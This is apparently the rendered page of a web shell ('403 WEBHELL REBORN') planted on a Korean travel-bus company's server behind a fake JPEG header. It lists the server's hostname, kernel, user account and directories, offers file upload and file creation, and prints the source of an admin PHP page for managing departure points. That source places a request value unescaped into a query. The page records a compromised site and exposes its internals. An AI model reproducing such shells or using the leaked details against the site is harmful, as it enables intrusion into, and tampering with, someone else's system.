ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/good/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/good/good_depot.html
<?
include "../include/top.html";
include "_common.php";

// 상품정보
$arr = good_list(" and g_uid='{$g_uid}' ");
$row = $arr[0];

$data = good_depot($g_uid);

?>

<div class="contents_wrap">
	<div class="contents_wrap_in">
		<div class="title"><?=$row['g_title']?><span class="arrow">&gt;</span><strong>출발지 관리</strong></div>
		<div class="contents_detail">

		<div id="Content_box">

			<!-- 본문 -->
			<?
				include "_menu.html";
			?>
			
			<!-- 폼 -->
			<form name="frm_option" id="frm_option" method="post">
			<input type="hidden" name="SqlType" id="SqlType" value="option_ins">
			<input type="hidden" name="g_uid" value="<?=$g_uid?>">
				<table border="0" cellspacing="0" cellpadding="0" class="t_list mt25" width="100%">
					<thead>
					<tr>
						<th width="40">No.</th>
						<th width="40">사용</th>
						<th width="50"><a href="#" onclick="chg_order();">순서</a></th>
						<th>출발지명</th>
						<th width="80">-</th>
					</tr>
					</thead>
					<tbody>
						<?
							for($i=0 ; $i<count($data) ; $i++) {
								$row = $data[$i];
								$num = count($data)-$i;
						?>
						<tr>
								<td><?=$num?></td>
								<td>
									<span id="disp_<?=$row['poid']?>">
										<img src="<?=$row['disp_yn_icon']?>" onclick="ajax_obj_loader('good_depot_proc.html?SqlType=chg_disp&g_uid=<?=$row['g_uid']?>&poid=<?=$row['poid']?>&disp_yn=<?=$row['disp_yn_opp']?>','disp_<?=$row['poid']?>');" style="cursor:pointer;">
									</span>
								</td>
								<td>
										<input type="hidden" name="poid_arr[]" value="<?=$row['poid']?>">
										<input type="text" name="order_num_arr[]" id="order_num_<?=$row['poid']?>" class="input_text" size="3" maxlength="3" value="<?=$row['order_num']?>">
								</td>
								<td class="txt_l pl10"><input type="text" name="depot_nm" id="depot_nm_<?=$row['poid']?>" class="input_text pl10" style="width:80%;" value="<?=$row['depot_nm']?>" hname="옵션명" required></td>
								<td>
									<input class="Table_btn" type="button" value="수정" onclick="chk_edit_frm('<?=$row['poid']?>')" />
									<input class="Table_btn gray" type="button" value="삭제" onclick="if(!confirm('정말삭제하시겠습니까?'))return;ajax_loader('good_depot_proc.html?SqlType=option_del&g_uid=<?=$g_uid?>&poid=<?=$row['poid']?>');" />
								</td>
						</tr>
						<?}?>
						<tr class="bg_gray">
							<td colspan="5"><input type="text" name="depot_nm" class="input_text" size="60" value="" hname="출발지명" required>&nbsp;<input class="Table_btn red2" type="button" value="저장하기" onclick="chk_frm();"></td>
						</tr>

					</tbody>
				</table>
			</form>
			<!-- /폼 -->
			</div>
			<!-- /본문 -->
		</div>
	</div>
</div>
</div>

<!-- 폼 -->
<form name="frm_option_edit" id="frm_option_edit" method="post">
<input type="hidden" name="SqlType" id="SqlType" value="option_updt">
<input type="hidden" name="g_uid" value="<?=$g_uid?>">
<input type="hidden" name="poid" value="">
<input type="hidden" name="depot_nm" value="">
<input type="hidden" name="order_num" value="">
</form>
<!-- /폼 -->

<script type="text/javascript">
function chk_frm()
{
	var f=document.frm_option;

	var result = to_validation(f);

	if(result == false) return;

	if (!confirm('저장하시겠습니까?')) return;

	ajax_post("","good_depot_proc.html","frm_option");
}

function chg_order()
{
	if (!confirm('순서를 수정 하시겠습니까?')) return;

	$("#SqlType").val("order_chg");

	ajax_post("","good_depot_proc.html","frm_option");
}

function chk_edit_frm(poid)
{
	var f=document.frm_option_edit;

	if (!confirm('수정하시겠습니까?')) return;

	f.poid.value = poid;
	f.depot_nm.value = $("#depot_nm_"+poid).val();
	f.order_num.value = $("#order_num_"+poid).val();

	var result = to_validation(f);

	if(result == false) return;

	ajax_post("","good_depot_proc.html","frm_option_edit");
	
}
</script>
<?
include "../include/footer.html";
?>

Anon7 - 2021